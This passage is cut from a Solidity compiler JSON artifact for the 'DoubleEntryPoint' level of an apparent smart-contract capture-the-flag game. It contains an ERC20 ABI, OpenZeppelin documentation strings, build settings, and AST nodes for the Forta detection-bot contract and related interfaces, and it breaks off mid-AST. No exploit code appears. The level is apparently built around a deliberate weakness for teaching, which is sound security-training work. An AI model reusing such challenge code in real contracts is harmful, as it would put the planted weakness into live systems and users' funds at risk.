Forta","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"name","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"player","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[],"stateMutability":"view","type":"function","name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"kind":"dev","methods":{"allowance(address,address)":{"details":"See {IERC20-allowance}."},"approve(address,uint256)":{"details":"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address."},"balanceOf(address)":{"details":"See {IERC20-balanceOf}."},"decimals()":{"details":"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}."},"decreaseAllowance(address,uint256)":{"details":"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`."},"increaseAllowance(address,uint256)":{"details":"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address."},"name()":{"details":"Returns the name of the token."},"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"symbol()":{"details":"Returns the symbol of the token, usually a shorter version of the name."},"totalSupply()":{"details":"See {IERC20-totalSupply}."},"transfer(address,uint256)":{"details":"See {IERC20-transfer}. Requirements: - `to` cannot be the zero address. - the caller must have a balance of at least `amount`."},"transferFrom(address,address,uint256)":{"details":"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DoubleEntryPoint.sol":"DoubleEntryPoint"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/DoubleEntryPoint.sol":{"keccak256":"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31","urls":["bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6","dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DoubleEntryPoint.sol","id":51851,"exportedSymbols":{"Context":[48281],"CryptoVault":[51645],"DelegateERC20":[51463],"DoubleEntryPoint":[51850],"ERC20":[47861],"Forta":[51577],"IDetectionBot":[51471],"IERC20":[47939],"IERC20Metadata":[47964],"IForta":[51489],"LegacyToken":[51720],"Ownable":[46700]},"nodeType":"SourceUnit","src":"32:3886:71","nodes":[{"id":51449,"nodeType":"PragmaDirective","src":"32:23:71","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":51450,"nodeType":"ImportDirective","src":"57:54:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":51451,"nodeType":"ImportDirective","src":"112:57:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":51463,"nodeType":"ContractDefinition","src":"171:129:71","nodes":[{"id":51462,"nodeType":"FunctionDefinition","src":"201:97:71","nodes":[],"functionSelector":"9cd1a121","implemented":false,"kind":"function","modifiers":[],"name":"delegateTransfer","nameLocation":"210:16:71","parameters":{"id":51458,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51453,"mutability":"mutable","name":"to","nameLocation":"235:2:71","nodeType":"VariableDeclaration","scope":51462,"src":"227:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51452,"name":"address","nodeType":"ElementaryTypeName","src":"227:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51455,"mutability":"mutable","name":"value","nameLocation":"247:5:71","nodeType":"VariableDeclaration","scope":51462,"src":"239:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51454,"name":"uint256","nodeType":"ElementaryTypeName","src":"239:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51457,"mutability":"mutable","name":"origSender","nameLocation":"262:10:71","nodeType":"VariableDeclaration","scope":51462,"src":"254:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51456,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"226:47:71"},"returnParameters":{"id":51461,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51460,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51462,"src":"292:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51459,"name":"bool","nodeType":"ElementaryTypeName","src":"292:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"291:6:71"},"scope":51463,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"DelegateERC20","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51463],"name":"DelegateERC20","nameLocation":"181:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51471,"nodeType":"ContractDefinition","src":"302:106:71","nodes":[{"id":51470,"nodeType":"FunctionDefinition","src":"332:74:71","nodes":[],"functionSelector":"220ab6aa","implemented":false,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"341:17:71","parameters":{"id":51468,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51465,"mutability":"mutable","name":"user","nameLocation":"367:4:71","nodeType":"VariableDeclaration","scope":51470,"src":"359:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51464,"name":"address","nodeType":"ElementaryTypeName","src":"359:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51467,"mutability":"mutable","name":"msgData","nameLocation":"388:7:71","nodeType":"VariableDeclaration","scope":51470,"src":"373:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51466,"name":"bytes","nodeType":"ElementaryTypeName","src":"373:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"358:38:71"},"returnParameters":{"id":51469,"nodeType":"ParameterList","parameters":[],"src":"405:0:71"},"scope":51471,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IDetectionBot","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51471],"name":"IDetectionBot","nameLocation":"312:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51489,"nodeType":"ContractDefinition","src":"410:204:71","nodes":[{"id":51476,"nodeType":"FunctionDefinition","src":"433:63:71","nodes":[],"functionSelector":"9e927c68","implemented":false,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"442:15:71","parameters":{"id":51474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51473,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"466:19:71","nodeType":"VariableDeclaration","scope":51476,"src":"458:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51472,"name":"address","nodeType":"ElementaryTypeName","src":"458:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"457:29:71"},"returnParameters":{"id":51475,"nodeType":"ParameterList","parameters":[],"src":"495:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51483,"nodeType":"FunctionDefinition","src":"501:63:71","nodes":[],"functionSelector":"fa1fd28c","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"510:6:71","parameters":{"id":51481,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51478,"mutability":"mutable","name":"user","nameLocation":"525:4:71","nodeType":"VariableDeclaration","scope":51483,"src":"517:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51477,"name":"address","nodeType":"ElementaryTypeName","src":"517:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51480,"mutability":"mutable","name":"msgData","nameLocation":"546:7:71","nodeType":"VariableDeclaration","scope":51483,"src":"531:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51479,"name":"bytes","nodeType":"ElementaryTypeName","src":"531:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"516:38:71"},"returnParameters":{"id":51482,"nodeType":"ParameterList","parameters":[],"src":"563:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51488,"nodeType":"FunctionDefinition","src":"569:43:71","nodes":[],"functionSelector":"087a43c1","implemented":false,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"578:10:71","parameters":{"id":51486,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51485,"mutability":"mutable","name":"user","nameLocation":"597:4:71","nodeType":"VariableDeclaration","scope":51488,"src":"589:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51484,"name":"address","nodeType":"ElementaryTypeName","src":"589:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"588:14:71"},"returnParameters":{"id":51487,"nodeType":"ParameterList","parameters":[],"src":"611:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IForta","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51489],"name":"IForta","nameLocation":"420:6:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51577,"nodeType":"ContractDefinition","src":"616:752:71","nodes":[{"id":51496,"nodeType":"VariableDeclaration","src":"647:59:71","nodes":[],"constant":false,"functionSelector":"9e1083ca","mutability":"mutable","name":"usersDetectionBots","nameLocation":"688:18:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"typeName":{"id":51495,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51492,"name":"address","nodeType":"ElementaryTypeName","src":"655:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"647:33:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51494,"nodeType":"UserDefinedTypeName","pathNode":{"id":51493,"name":"IDetectionBot","nameLocations":["666:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51471,"src":"666:13:71"},"referencedDeclaration":51471,"src":"666:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}},"visibility":"public"},{"id":51500,"nodeType":"VariableDeclaration","src":"712:50:71","nodes":[],"constant":false,"functionSelector":"dc702fa0","mutability":"mutable","name":"botRaisedAlerts","nameLocation":"747:15:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":51499,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51497,"name":"address","nodeType":"ElementaryTypeName","src":"720:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"712:27:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51498,"name":"uint256","nodeType":"ElementaryTypeName","src":"731:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":51516,"nodeType":"FunctionDefinition","src":"769:156:71","nodes":[],"body":{"id":51515,"nodeType":"Block","src":"841:84:71","nodes":[],"statements":[{"expression":{"id":51513,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51506,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"851:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51509,"indexExpression":{"expression":{"id":51507,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"870:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51508,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"874:6:71","memberName":"sender","nodeType":"MemberAccess","src":"870:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"851:30:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51511,"name":"detectionBotAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51502,"src":"898:19:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51510,"name":"IDetectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51471,"src":"884:13:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IDetectionBot_$51471_$","typeString":"type(contract IDetectionBot)"}},"id":51512,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"884:34:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"src":"851:67:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51514,"nodeType":"ExpressionStatement","src":"851:67:71"}]},"baseFunctions":[51476],"functionSelector":"9e927c68","implemented":true,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"778:15:71","overrides":{"id":51504,"nodeType":"OverrideSpecifier","overrides":[],"src":"832:8:71"},"parameters":{"id":51503,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51502,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"802:19:71","nodeType":"VariableDeclaration","scope":51516,"src":"794:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51501,"name":"address","nodeType":"ElementaryTypeName","src":"794:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"793:29:71"},"returnParameters":{"id":51505,"nodeType":"ParameterList","parameters":[],"src":"841:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51551,"nodeType":"FunctionDefinition","src":"931:259:71","nodes":[],"body":{"id":51550,"nodeType":"Block","src":"1003:187:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51534,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51526,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1025:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51528,"indexExpression":{"id":51527,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1044:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1025:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51525,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1017:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51524,"name":"address","nodeType":"ElementaryTypeName","src":"1017:7:71","typeDescriptions":{}}},"id":51529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1017:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51532,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1062:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51531,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1054:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51530,"name":"address","nodeType":"ElementaryTypeName","src":"1054:7:71","typeDescriptions":{}}},"id":51533,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1054:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1017:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51536,"nodeType":"IfStatement","src":"1013:60:71","trueBody":{"functionReturnParameters":51523,"id":51535,"nodeType":"Return","src":"1066:7:71"}},{"clauses":[{"block":{"id":51545,"nodeType":"Block","src":"1144:31:71","statements":[{"functionReturnParameters":51523,"id":51544,"nodeType":"Return","src":"1158:7:71"}]},"errorName":"","id":51546,"nodeType":"TryCatchClause","src":"1144:31:71"},{"block":{"id":51547,"nodeType":"Block","src":"1182:2:71","statements":[]},"errorName":"","id":51548,"nodeType":"TryCatchClause","src":"1176:8:71"}],"externalCall":{"arguments":[{"id":51541,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1129:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51542,"name":"msgData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51520,"src":"1135:7:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"baseExpression":{"id":51537,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1086:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51539,"indexExpression":{"id":51538,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1105:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1086:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51540,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1111:17:71","memberName":"handleTransaction","nodeType":"MemberAccess","referencedDeclaration":51470,"src":"1086:42:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51543,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1086:57:71","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51549,"nodeType":"TryStatement","src":"1082:102:71"}]},"baseFunctions":[51483],"functionSelector":"fa1fd28c","implemented":true,"kind":"function","modifiers":[],"name":"notify","nameLocation":"940:6:71","overrides":{"id":51522,"nodeType":"OverrideSpecifier","overrides":[],"src":"994:8:71"},"parameters":{"id":51521,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51518,"mutability":"mutable","name":"user","nameLocation":"955:4:71","nodeType":"VariableDeclaration","scope":51551,"src":"947:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51517,"name":"address","nodeType":"ElementaryTypeName","src":"947:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51520,"mutability":"mutable","name":"msgData","nameLocation":"976:7:71","nodeType":"VariableDeclaration","scope":51551,"src":"961:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51519,"name":"bytes","nodeType":"ElementaryTypeName","src":"961:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"946:38:71"},"returnParameters":{"id":51523,"nodeType":"ParameterList","parameters":[],"src":"1003:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51576,"nodeType":"FunctionDefinition","src":"1196:170:71","nodes":[],"body":{"id":51575,"nodeType":"Block","src":"1248:118:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51559,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1270:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51561,"indexExpression":{"id":51560,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51553,"src":"1289:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1270:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract 